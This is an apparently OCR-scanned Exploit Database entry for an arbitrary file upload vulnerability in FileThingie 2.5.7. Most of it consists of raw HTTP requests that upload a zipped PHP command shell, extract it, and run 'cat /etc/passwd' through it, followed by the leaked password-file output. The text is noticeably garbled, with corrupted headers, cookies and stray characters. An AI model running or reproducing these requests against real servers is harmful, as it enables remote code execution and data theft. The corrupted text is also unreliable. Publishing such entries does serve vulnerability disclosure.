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FileThingie 2.5.7 - Arbitrary File Upload

EDB-ID:

47349

Author:

CAKES

CVE:

N/A

EDB Verified: ./

Type:

WEBAPPS

| €=
~
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# Exploit Title: FileThingie 2.5.7 - Arbitrary File Upload

# Author: Cakes

# Discovery Date: 2019-09-03

# Vendor Homepage: www.solitude.dk/filethingie

# Software Link: https://github.com/leefish/filethingie/archive/master.zip
# Tested Version: 2.5.7

# Tested on 0S: Cent0S 7

# CVE: N/A

# Intro:

# Easy arbitrary file upload vulnerability allows an attacker to upload
malicious .zip archives

::::: POST .zip file with cmd shell

POST /filethingy/ft2.php HTTP/1.1

Host: 10.0.0.21

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:60.0) Gecko/20100101
Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://10.0.0.21/filethingy/ft2.php?dir=/tester
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content-bD1sposition: Torm-data,; name="MAX FlLE 51/E"

2000000

----------------------------- 3402520321248020588131184034
Content-Disposition: form-data; name="localfile"; filename="cmdshell.zip"
Content-Type: application/zip

$ cmdshell.phpUT
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$ Ax Ao cmdshell.phpUT
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----------------------------- 3402520321248020588131184034
Content-Disposition: form-data; name="act"
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W

----------------------------- 3402520321248020588131184034
Content-Disposition: form-data; name="dir"

/tester
----------------------------- 3402520321248020588131184034
Content-Disposition: form-data; name="submit"

----------------------------- 3402520321248020588131184034 - -
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sirrsiriiiiiiiiisiiiiiiiiiiniUnzip Malicious file

POST /filethingy/ft2.php HTTP/1.1

Host: 10.0.0.21

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:60.0) Gecko/20100101
Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: https://10.0.0.21/filethingy/ft2.php?dir=/tester

Content-Type: application/x-www-form-urlencoded

Content-Length: 63

Cookie: issabelSession=67ne@anmf52drmijjflslju380;
PHPSESSIDnERPteam=t1llelmd4eieonpgflgalcolhqs2;
nERP_installation=60kne714f54fico5ud4tonad73;
100021corebos=ktk7mnrépspnet6n2ij582elv7;

Ci cookie=a%3A4%3A%7Bs%3A10%3A%22session 1d%22%3Bs%3A32%3A%22175c2b3094310736
PHPSESSID=j19jcj3vfqf53ujcj332gncpe?

Connection: close

lHla~nwvradA TrhuecAaciira DacniiAacd+~. 1
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Ci cookie=a%3A4%3A%7Bs%3A10%3A%22session 1d%22%3Bs%3A32%3A%22175c2b30943f0736
PHPSESSID=j19jcj3vfqf53ujcj332gncpe?

Connection: close

Upgrade-Insecure-Requests: 1

DNT: 1

Cache-Control: max-age=0

siriiriiiiiiiiiiiiiiiiiiiiiiiiRead /etc/passwd

GET /filethingy/folders/tester/cmdshell.php?cmd=cat%20/etc/passwd HTTP/1.1
Host: 10.0.0.21

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:60.0) Gecko/20100101
Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: issabelSession=67neOanmf52drmijjflslju380;
PHPSESSIDnERPteam=t1llelmd4eieonpgflqalcolhqgs2;
nERP_installation=60kne714f54fico5ud4tonad73;
100021corebos=ktk7mnrépspneté6n2ij582elv7;

Ci cookie=a%3A4%3A%7Bs%3A10%3A%22session 1d%22%3Bs%3A32%3A%22175¢c2b30943f0736
PHPSESSID=j19jcj3vfqf53ujcj332gncpe?

Connection: close

IlnArada _Tncariira_Daniiact+es 1
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DNT: 1

%’ EXPLOIT DATABASE

HTTP/1.1 200 OK

Date: Tue, 03 Sep 2019 17:38:04 GMT

2ROl Server: Apache/2.4.6 (Cent0S) OpenSSL/1.0.2k-fips PHP/5.4.16
X-Powered-By: PHP/5.4.16

Content-Length: 1738

Connection: close

Content-Type: text/html; charset=UTF-8

PAPERS

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin

SHELLCODES daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync

SEARCH EDB shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
misdn:x:31:31:Modular ISDN:/:/sbin/nologin
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N
chrony:x:996:993::/var/lib/chrony:/sbin/nologin
cakes:x:1001:1001:cakes:/home/cakes:/bin/bash
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